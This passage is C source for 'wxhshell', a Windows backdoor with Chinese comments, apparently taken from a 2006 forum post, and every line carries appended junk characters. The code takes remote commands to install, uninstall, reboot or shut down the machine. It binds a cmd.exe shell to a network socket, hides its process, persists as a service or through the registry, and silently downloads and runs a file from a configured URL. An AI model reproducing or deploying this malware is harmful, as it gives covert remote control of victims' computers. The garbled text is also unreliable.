  case '?': { |;o#-YosP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rxu 6 #v F  
    break; >s}b q#x  
  } a;J{'PHu  
  // 安装 5 T1M:~u i  
  case 'i': { Q}~of}h/  
    if(Install()) %j%}iM/(<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =.,]}  
    else >cEc##:5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]w.:K*_=  
    break; 4]jN@@  
    } [6Y6{.%~  
  // 卸载 +2!J3{[J  
  case 'r': { w?6"`Mo  
    if(Uninstall()) FN5*pVD;<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O^v^GG=e;C  
    else |Ui1Mm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TQDb\d8,f  
    break; E]`)  
    } jy`jxOoG~Z  
  // 显示 wxhshell 所在路径 A-e#&pJ  
  case 'p': { 2mAXBqdm  
    char svExeFile[MAX_PATH]; 8munw  
    strcpy(svExeFile,"\n\r"); Hzs]\%"  
      strcat(svExeFile,ExeFile); |><hdBQXX<  
        send(wsh,svExeFile,strlen(svExeFile),0); = R|?LOEK+  
    break; )=TD}Xb  
    } /NCEZ@2BN,  
  // 重启 x g~q'>  
  case 'b': { _ETG.SYq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +v:t  
    if(Boot(REBOOT)) .8hB <G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8jW{0&ox)  
    else { sXp>4MomV  
    closesocket(wsh); Mi&,64<  
    ExitThread(0); =s`\W7/;{-  
    } 1UX"iO x(  
    break; 59gt#1k  
    } jPg8>Z&D  
  // 关机 EzOO6  
  case 'd': { 2@ vSe  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -M}#-qwf  
    if(Boot(SHUTDOWN)) ;u!qu$O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0Qvbc}KP8  
    else { ]Y Q[ )  
    closesocket(wsh); >=-w2&  
    ExitThread(0); vwDnz /-  
    } k`Nc<nN8  
    break; l`8S1~j  
    } 1a4HThDXP  
  // 获取shell ?ihkV? ;)  
  case 's': { 'L)@tkklp  
    CmdShell(wsh); %E Jv!u*-  
    closesocket(wsh); ,<*n>W4|  
    ExitThread(0); Qi`Lj5;\F  
    break; #4"(M9kf  
  } wvsKn YKX  
  // 退出 Ub=g<MYHV  
  case 'x': { 7UvfXzDNC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .VN"j  
    CloseIt(wsh); )O~LXK=b  
    break; Iih~W&  
    } [<P(S~J  
  // 离开 P3 se"pP  
  case 'q': { f3Ior.n(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); P.mz$M  
    closesocket(wsh); -o*IJQ_  
    WSACleanup(); T8E=}!68w}  
    exit(1); uTGd{w@]0|  
    break; o@j]yA.5)  
        } (3YCe{  
  } xWlj.Tjt}  
  } "']I.  
FI++A`  
  // 提示信息 S05+G}[$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BYuF$[3ya&  
} 4d3]L` f  
  } nsFOtOdd  
0FmYM@Wc  
  return; 3Z#k9c_b  
} 9 lE[oAC  
lR[[]Yn  
// shell模块句柄 "mc/fp  
int CmdShell(SOCKET sock) ($EA/|z  
{ t98t&YUpm  
STARTUPINFO si; s*{l}~fPkW  
ZeroMemory(&si,sizeof(si)); Pn|A>.)z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i-[ic!RnKj  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >2l1t}"\  
PROCESS_INFORMATION ProcessInfo; 5Z/xY &  
char cmdline[]="cmd"; 89T xd9X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); XB*)d 9'8  
  return 0; |?{3&'`J8w  
} IiTV*azVh  
>aXyi3B  
// 自身启动模式 p\OUxAm  
int StartFromService(void) h<2o5c|  
{ x`K<z J   
typedef struct "&*O7cs$pA  
{ SskvxH+7  
  DWORD ExitStatus; f*KNt_|:  
  DWORD PebBaseAddress; [:<CgU9C  
  DWORD AffinityMask; 9}4P%>_  
  DWORD BasePriority; ! iuDmL  
  ULONG UniqueProcessId; }SYR)eE\  
  ULONG InheritedFromUniqueProcessId; Iko1%GJ1Z  
}   PROCESS_BASIC_INFORMATION; U_ n1QU  
%PozxF:  
PROCNTQSIP NtQueryInformationProcess; RGFanP  
qYFOHu  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0nUcUdIf+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |?k3I/;  
 SyFw  
  HANDLE             hProcess; o?(({HH  
  PROCESS_BASIC_INFORMATION pbi; Z.6M~  
%+gYZv-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F N6 GV  
  if(NULL == hInst ) return 0; ! J`>;&  
t}L kl(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U;QTA8|!&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e;L++D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \6o%gpUkD  
5{nERKaPf  
  if (!NtQueryInformationProcess) return 0; ~+w'b7T,=  
&#!5I;3EN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); aphfzo  
  if(!hProcess) return 0; |Iei!jm  
A|>~/OW=@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2F* spu  
pu#h:nb>88  
  CloseHandle(hProcess); 4/UY*Us&  
u#(VR]u\7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w#|uR^~  
if(hProcess==NULL) return 0; jb;!"HC  
@@~OA>^  
HMODULE hMod; {*utke]}*  
char procName[255]; |R$V[  
unsigned long cbNeeded; >np!f8+d"q  
!p$HS0c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \Ps}1)wT  
JSz;>  
  CloseHandle(hProcess); zq]I"0Bi.  
b(^/WCykH  
if(strstr(procName,"services")) return 1; // 以服务启动 C \"nlNKw  
2ZTz{|y  
  return 0; // 注册表启动 A^lJlr:_`  
} e4:,W+g,9  
|v,%!p s  
// 主模块 9N1Uv,OtB  
int StartWxhshell(LPSTR lpCmdLine) {A!1s;  
{ -u)f@e  
  SOCKET wsl; =' %r"_`}  
BOOL val=TRUE; Hq<Sg4nz  
  int port=0; 2J?ON|2M  
  struct sockaddr_in door; 0"l*8%g  
Y9V%eFY5E  
  if(wscfg.ws_autoins) Install(); K1y]  
E"i<fr T  
port=atoi(lpCmdLine); %L;z~C  
',Y`XP"Q  
if(port<=0) port=wscfg.ws_port; l Tpn/  
O3ij/8f  
  WSADATA data; ivTx6-]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wJ.?u]f@  
R1't W=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   kyV!ATL1F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vh+ ' W  
  door.sin_family = AF_INET; %3p~5jhm1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); } @r|o:I  
  door.sin_port = htons(port); nV`n=x  
DX3xWdnr  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Xn:5pd;?B6  
closesocket(wsl); Q\H1=8  
return 1; '7BJ.  
} /hrVnki*  
*[XVkt`H  
  if(listen(wsl,2) == INVALID_SOCKET) { _#f+@)vR  
closesocket(wsl); 87&BF)]  
return 1; wY$'KmNW  
} r.-U=ql  
  Wxhshell(wsl); UXs=7H".  
  WSACleanup(); v67utISNI  
@:2<cn`  
return 0; op!ft/Yyb  
:vsBobiJ  
} |:qaF  
Tt^PiaS!  
// 以NT服务方式启动 /NE<?t N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gc5u@(P"  
{ ;Gf,I1d}{  
DWORD   status = 0; <V`1?9c7D1  
  DWORD   specificError = 0xfffffff; A=N &(k  
He&7(mQ0^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4c})LAwd&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *:r6E  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?WVp,vP  
  serviceStatus.dwWin32ExitCode     = 0; cx+w_D9b!  
  serviceStatus.dwServiceSpecificExitCode = 0; tccw0  
  serviceStatus.dwCheckPoint       = 0; ,=Q;@Z4 vJ  
  serviceStatus.dwWaitHint       = 0; .( )rb y  
" pZvV0'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dSdP]50M  
  if (hServiceStatusHandle==0) return; dWR-}>  
MKdS_&F;~  
status = GetLastError(); HACY  
  if (status!=NO_ERROR) p* '%<3ml  
{ 3bWYRW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B|fh 4FNy  
    serviceStatus.dwCheckPoint       = 0; v d{`*|x  
    serviceStatus.dwWaitHint       = 0; ;FQ<4PR$  
    serviceStatus.dwWin32ExitCode     = status; k 4HE'WY  
    serviceStatus.dwServiceSpecificExitCode = specificError; S*aMUV&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \r.{Ru  
    return; 0fOx&"UAB  
  } DfPC@` k  
?cyBF*o  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; b-/8R|Mem  
  serviceStatus.dwCheckPoint       = 0; |qOoL*z  
  serviceStatus.dwWaitHint       = 0; E*B6k!:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y3Z\ Y[  
} -(oFO'Lbg  
7%MD0qm-  
// 处理NT服务事件,比如:启动、停止 rT#2'-f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )2pOCAjL2  
{ l_q=@y  
switch(fdwControl) &EUI  
{ d O})#50f  
case SERVICE_CONTROL_STOP: 1QA{NAnu&  
  serviceStatus.dwWin32ExitCode = 0; R>C^duos.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <2.87:  
  serviceStatus.dwCheckPoint   = 0; DqH?:`G  
  serviceStatus.dwWaitHint     = 0; d*B^pDf  
  { *UerLpf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W{El^')F  
  } ^Rpy5/d  
  return; 4uX|2nJ2!;  
case SERVICE_CONTROL_PAUSE: 8\lRP,-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; mJ #|~I*Z-  
  break;  /# FU"  
case SERVICE_CONTROL_CONTINUE: NMy+=GZu^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -%G}T}"_  
  break; H{d;, KfX  
case SERVICE_CONTROL_INTERROGATE: V7gv@<1<y  
  break; L vPcH  
}; VG=mA4Dd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n5NwiSE  
} sC}p_'L  
78MQoG<  
// 标准应用程序主函数 f{HjM? Mb3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S - N [  
{ Y[R;UJE`5  
F ]x2;N  
// 获取操作系统版本 xHpB/P~  
OsIsNt=GetOsVer(); G~+BO'U9'G  
GetModuleFileName(NULL,ExeFile,MAX_PATH); W2`/z)[*>  
yKhN1kY  
  // 从命令行安装 /cXVJ(#j  
  if(strpbrk(lpCmdLine,"iI")) Install(); {CaTu5\  
ZzO^IZKlC  
  // 下载执行文件 =i1+t"=  
if(wscfg.ws_downexe) { 'JpCS  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E9bc pup  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0XzrzT"&  
} O;6am++M@  
qib4DT$v-6  
if(!OsIsNt) { _!ITCkBj  
// 如果时win9x,隐藏进程并且设置为注册表启动 xX:N-  
HideProc(); n5U-D0/Q  
StartWxhshell(lpCmdLine); !7>~=n_,L.  
} +EOd9.X\~  
else RG8Ek"D@  
  if(StartFromService()) \' Z^rjB  
  // 以服务方式启动 DkA@KS1Dq  
  StartServiceCtrlDispatcher(DispatchTable); ,7/F?!G!J  
else s#* DY  
  // 普通方式启动 %+bw2;a6  
  StartWxhshell(lpCmdLine); ytyX:e"  
P$H9  
return 0; isR)^fI|  
}
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只看该作者 1 发表于: 2006-10-10
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